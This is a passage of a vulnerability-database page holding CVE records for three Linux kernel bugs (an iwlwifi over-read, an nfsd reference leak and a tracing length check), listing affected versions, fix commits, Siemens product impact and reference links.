                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:44.146Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/intel/iwlwifi/mvm/fw.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "15b37c6fab9d5e40ac399fa1c725118588ed649c",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "6532f18e66b384b8d4b7e5c9caca042faaa9e8de",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "46c59a25337049a2a230ce7f7c3b9f21d0aaaad7",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "65686118845d427df27ee83a6ddd4885596b0805",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "a8bc8276af9aeacabb773f0c267cfcdb847c6f2d",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "a05018739a5e6b9dc112c95bd4c59904062c8940",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "acdfa33c3cf5e1cd185cc1e0486bd0ea9f09c154",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            },
            {
              "lessThan": "4bb95f4535489ed830cf9b34b0a891e384d1aee4",
              "status": "affected",
              "version": "bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/intel/iwlwifi/mvm/fw.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.12"
            },
            {
              "lessThan": "4.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: mvm: don\u0027t read past the mfuart notifcation\n\nIn case the firmware sends a notification that claims it has more data\nthan it has, we will read past that was allocated for the notification.\nRemove the print of the buffer, we won\u0027t see it by default. If needed,\nwe can see the content with tracing.\n\nThis was reported by KFENCE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:48.251Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/15b37c6fab9d5e40ac399fa1c725118588ed649c"
        },
        {
          "url": "https://git.kernel.org/stable/c/6532f18e66b384b8d4b7e5c9caca042faaa9e8de"
        },
        {
          "url": "https://git.kernel.org/stable/c/46c59a25337049a2a230ce7f7c3b9f21d0aaaad7"
        },
        {
          "url": "https://git.kernel.org/stable/c/65686118845d427df27ee83a6ddd4885596b0805"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8bc8276af9aeacabb773f0c267cfcdb847c6f2d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a05018739a5e6b9dc112c95bd4c59904062c8940"
        },
        {
          "url": "https://git.kernel.org/stable/c/acdfa33c3cf5e1cd185cc1e0486bd0ea9f09c154"
        },
        {
          "url": "https://git.kernel.org/stable/c/4bb95f4535489ed830cf9b34b0a891e384d1aee4"
        }
      ],
      "title": "wifi: iwlwifi: mvm: don\u0027t read past the mfuart notifcation",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40941",
    "datePublished": "2024-07-12T12:25:16.471Z",
    "dateReserved": "2024-07-12T12:17:45.587Z",
    "dateUpdated": "2026-05-12T11:55:44.146Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47737 (GCVE-0-2024-47737)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:14 – Updated: 2026-05-12 11:58

Title

nfsd: call cache_put if xdr_reserve_space returns NULL

Summary

In the Linux kernel, the following vulnerability has been resolved: nfsd: call cache_put if xdr_reserve_space returns NULL If not enough buffer space available, but idmap_lookup has triggered lookup_fn which calls cache_get and returns successfully. Then we missed to call cache_put here which pairs with cache_get. Reviwed-by: Jeff Layton <jlayton@kernel.org>

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/3e8081ebff12bec13…
https://git.kernel.org/stable/c/c6b16e700cf4d959a…
https://git.kernel.org/stable/c/9f03f0016ff797932…
https://git.kernel.org/stable/c/9803ab882d565a8fb…
https://git.kernel.org/stable/c/81821617312988096…
https://git.kernel.org/stable/c/a1afbbb5276f943ad…
https://git.kernel.org/stable/c/e32ee6a61041925d1…
https://git.kernel.org/stable/c/8d0765f86135e27f0…
https://git.kernel.org/stable/c/d078cbf5c38de83bc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < 3e8081ebff12bec1347deaceb6bce0765cce54df (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < c6b16e700cf4d959af524bd9d3978407ff7ce462 (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < 9f03f0016ff797932551881c7e06ae50e9c39134 (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < 9803ab882d565a8fb2dde5999d98866d1c499dfd (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < 81821617312988096f5deccf0f7da6f888e98056 (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < a1afbbb5276f943ad7173d0b4c626b8c75a260da (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < e32ee6a61041925d1a05c14d10352dcfce9ef029 (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < 8d0765f86135e27f0bb5c950c136495719b4c834 (git) Affected: ddd1ea56367202f6c99135cd59de7a97af4c4ffd , < d078cbf5c38de83bc31f83c47dcd2184c04a50c7 (git)
Linux	Linux	Affected: 3.16 Unaffected: 0 , < 3.16 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47737",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T12:59:42.866272Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:14.991Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:32.511Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:49.610Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4idmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3e8081ebff12bec1347deaceb6bce0765cce54df",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "c6b16e700cf4d959af524bd9d3978407ff7ce462",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "9f03f0016ff797932551881c7e06ae50e9c39134",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "9803ab882d565a8fb2dde5999d98866d1c499dfd",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "81821617312988096f5deccf0f7da6f888e98056",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "a1afbbb5276f943ad7173d0b4c626b8c75a260da",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "e32ee6a61041925d1a05c14d10352dcfce9ef029",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "8d0765f86135e27f0bb5c950c136495719b4c834",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            },
            {
              "lessThan": "d078cbf5c38de83bc31f83c47dcd2184c04a50c7",
              "status": "affected",
              "version": "ddd1ea56367202f6c99135cd59de7a97af4c4ffd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4idmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.16"
            },
            {
              "lessThan": "3.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: call cache_put if xdr_reserve_space returns NULL\n\nIf not enough buffer space available, but idmap_lookup has triggered\nlookup_fn which calls cache_get and returns successfully. Then we\nmissed to call cache_put here which pairs with cache_get.\n\nReviwed-by: Jeff Layton \u003cjlayton@kernel.org\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:46.764Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3e8081ebff12bec1347deaceb6bce0765cce54df"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6b16e700cf4d959af524bd9d3978407ff7ce462"
        },
        {
          "url": "https://git.kernel.org/stable/c/9f03f0016ff797932551881c7e06ae50e9c39134"
        },
        {
          "url": "https://git.kernel.org/stable/c/9803ab882d565a8fb2dde5999d98866d1c499dfd"
        },
        {
          "url": "https://git.kernel.org/stable/c/81821617312988096f5deccf0f7da6f888e98056"
        },
        {
          "url": "https://git.kernel.org/stable/c/a1afbbb5276f943ad7173d0b4c626b8c75a260da"
        },
        {
          "url": "https://git.kernel.org/stable/c/e32ee6a61041925d1a05c14d10352dcfce9ef029"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d0765f86135e27f0bb5c950c136495719b4c834"
        },
        {
          "url": "https://git.kernel.org/stable/c/d078cbf5c38de83bc31f83c47dcd2184c04a50c7"
        }
      ],
      "title": "nfsd: call cache_put if xdr_reserve_space returns NULL",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47737",
    "datePublished": "2024-10-21T12:14:07.168Z",
    "dateReserved": "2024-09-30T16:00:12.959Z",
    "dateUpdated": "2026-05-12T11:58:49.610Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50131 (GCVE-0-2024-50131)

Vulnerability from cvelistv5 – Published: 2024-11-05 17:10 – Updated: 2026-05-12 12:00

Title

tracing: Consider the NULL character when validating the event length

Summary

In the Linux kernel, the following vulnerability has been resolved: tracing: Consider the NULL character when validating the event length strlen() returns a string length excluding the null byte. If the string length equals to the maximum buffer length, the buffer will have no space for the NULL terminating character. This commit checks this condition and returns failure for it.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/5e3231b352725ff4a…
https://git.kernel.org/stable/c/02874ca52df2ca242…
https://git.kernel.org/stable/c/b86b0d6eea204116e…
https://git.kernel.org/stable/c/f4ed40d1c669bba1a…
https://git.kernel.org/stable/c/a14a075a14af8d622…
https://git.kernel.org/stable/c/5fd942598ddeed9a2…
https://git.kernel.org/stable/c/0b6e2e22cb23105fc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < 5e3231b352725ff4a3a0095e6035af674f2d8725 (git) Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < 02874ca52df2ca2423ba6122039315ed61c25972 (git) Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < b86b0d6eea204116e4185acc35041ca4ff11a642 (git) Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < f4ed40d1c669bba1a54407d8182acdc405683f29 (git) Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < a14a075a14af8d622c576145455702591bdde09d (git) Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < 5fd942598ddeed9a212d1ff41f9f5b47bcc990a7 (git) Affected: dec65d79fd269d05427c8167090bfc9c3d0b56c4 , < 0b6e2e22cb23105fcb171ab92f0f7516c69c8471 (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:25:51.692Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:17.716Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/trace_probe.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5e3231b352725ff4a3a0095e6035af674f2d8725",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            },
            {
              "lessThan": "02874ca52df2ca2423ba6122039315ed61c25972",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            },
            {
              "lessThan": "b86b0d6eea204116e4185acc35041ca4ff11a642",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            },
            {
              "lessThan": "f4ed40d1c669bba1a54407d8182acdc405683f29",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            },
            {
              "lessThan": "a14a075a14af8d622c576145455702591bdde09d",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            },
            {
              "lessThan": "5fd942598ddeed9a212d1ff41f9f5b47bcc990a7",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            },
            {
              "lessThan": "0b6e2e22cb23105fcb171ab92f0f7516c69c8471",
              "status": "affected",
              "version": "dec65d79fd269d05427c8167090bfc9c3d0b56c4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/trace_probe.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
